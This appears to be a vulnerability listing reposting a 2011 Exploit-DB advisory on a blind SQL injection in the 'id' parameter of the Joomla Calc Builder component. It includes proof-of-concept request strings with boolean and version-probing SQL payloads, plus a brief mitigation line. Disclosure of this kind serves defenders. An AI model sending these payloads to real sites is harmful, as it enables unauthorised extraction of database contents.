Joomla Component Calc Builder (id) Blind SQL Injection Vulnerability

vendor:

Calc Builder

by:

Chip D3 Bi0s

N/A

CVSS

N/A

Blind SQL Injection

CWE

Product Name: Calc Builder

Affected Version From: 0.0.1

Affected Version To: 0.0.1

Patch Exists: NO

Related CWE: N/A

CPE: a:guillermo_santiago:calc_builder

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: N/A

2011

Joomla Component Calc Builder (id) Blind SQL Injection Vulnerability

A Blind SQL Injection vulnerability exists in the Calc Builder component of Joomla. An attacker can send a specially crafted request to the vulnerable application in order to extract sensitive information from the database. The vulnerable parameter is the ‘id’ parameter which can be manipulated to inject malicious SQL queries. An example of a malicious request is ‘option=com_calcbuilder&controller=calcbuilder&format=raw&id=3 and+1=1&fld_5=C’.

Mitigation:

Developers should ensure that user input is properly sanitized and validated before being used in SQL queries.

Source

Exploit-DB raw data:

---------------------------------------------------------------------------------
Joomla Component Calc Builder (id) Blind SQL Injection Vulnerability
---------------------------------------------------------------------------------
 
Author          : Chip D3 Bi0s
Group           : LatinHackTeam
Email & msn     : chipdebios[alt+64]gmail.com
Date            : 19 June 2011
Critical Lvl    : Moderate
Impact          : Exposure of sensitive information
Where           : From Remote
---------------------------------------------------------------------------
 
Affected software description:
~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
Application     : Calc Builder
version         : 0.0.1
Developer       : Guillermo Santiago
License         : GPLv2 or later       type  : Commercial
Date Added      : 12 June 2011
Price           : 9.90 €
Demo            : http://components.moonsoft.es/democalcbuilder 
Download        : http://components.moonsoft.es/downloadcalcbuilder
 
Description     :
 
CALC BUILDER allows you to create dynamic calculators.
Define your own input user form (types, size, order,validations).
Build results table through PHP code.
Export result table to PDF.
Simple and easy configuration. Three examples included.
 
 
---------------------------------------------------------------------------
 
 
I.Blind SQL injection (id) Poc/Exploit:
~~~~~~~~~
.....option=com_calcbuilder&controller=calcbuilder&format=raw&id=3 [blind]&fld_5=C

example
.....option=com_calcbuilder&controller=calcbuilder&format=raw&id=3 and+1=1&fld_5=C
.....option=com_calcbuilder&controller=calcbuilder&format=raw&id=3 and+1=2&fld_5=C

.....option=com_calcbuilder&controller=calcbuilder&format=raw&id=3 and+substring(@@version,1,1)=4&fld_5=C
.....option=com_calcbuilder&controller=calcbuilder&format=raw&id=3 and+substring(@@version,1,1)=5&fld_5=C

 
 

A special greeting to my good friends:
R4y0k3nt, ecore, J3h3s, r0i & pc Marquesita :)
 
 
 
+++++++++++++++++++++++++++++++++++++++
[!] Produced in South America
+++++++++++++++++++++++++++++++++++++++